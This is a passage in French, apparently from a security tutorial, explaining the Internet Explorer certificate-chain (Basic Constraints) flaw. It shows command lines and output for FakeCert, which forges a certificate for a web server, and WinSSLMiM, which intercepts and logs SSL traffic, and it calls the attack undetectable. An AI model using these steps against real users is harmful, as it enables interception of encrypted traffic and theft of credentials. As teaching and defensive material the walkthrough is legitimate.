La deuxième technique exploite la vulnérabilité dite de chaine de certificats (Certificate Chain Vulnerability).
Sans rentrer dans le détail de cette vulnérabilité (présente entre autres sur Internet Explorer), un certificat
signé par la clé privée associée à un certificat authentifié (donc signé) par une CA connue est accepté sans alerte.
En effet, IE ne vérifie pas si ce certificat intermédiaire de confiance à le droit de lui aussi certifier des certificats finaux. Cette
propriété du certificat est appelée Basic Constraints et c'est elle qui n'est pas contrôlée. En conclusion, un
pirate possédant un certificat de confiance signé par une CA connu est à même de certifier n'importe quel
serveur Web sans que IE ne s'en inquiète. Là encore, l'utilisation de FakeCert est nécessaire pour la mise
en oeuvre de cette exploitation.
D:\>fc -s www.securiteinfo.com -f trust_certificat.crt -t trust.crt
>> FakeCert by Valgasu (valgasu@securiteinfo.com) <<
+ Connection to https://www.securiteinfo.com
+ Get X509 certificate
+ Make fake certificate
+ Load trusted certificate from trust.crt
+ Save fake certificate to trust_certificat.crt
Pour générer ce faux certificat, il faut un certificat authentifié, celui fournit par FakeCert est celui inclus dans l'outil sslsniff. Il reste à utiliser ce certificat avec WinSSLMiM.
D:\>wsm -f trust_certificat.crt -l d:\log.txt -t trust.crt
>> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) <<
Waiting for connections...
Cette fois-ci aucune alerte n'est émise par le navigateur (s'il s'agit de IE), l'attaque est considérée
commme quasi parfaite car indétectable. Le certificat reçu est le suivant :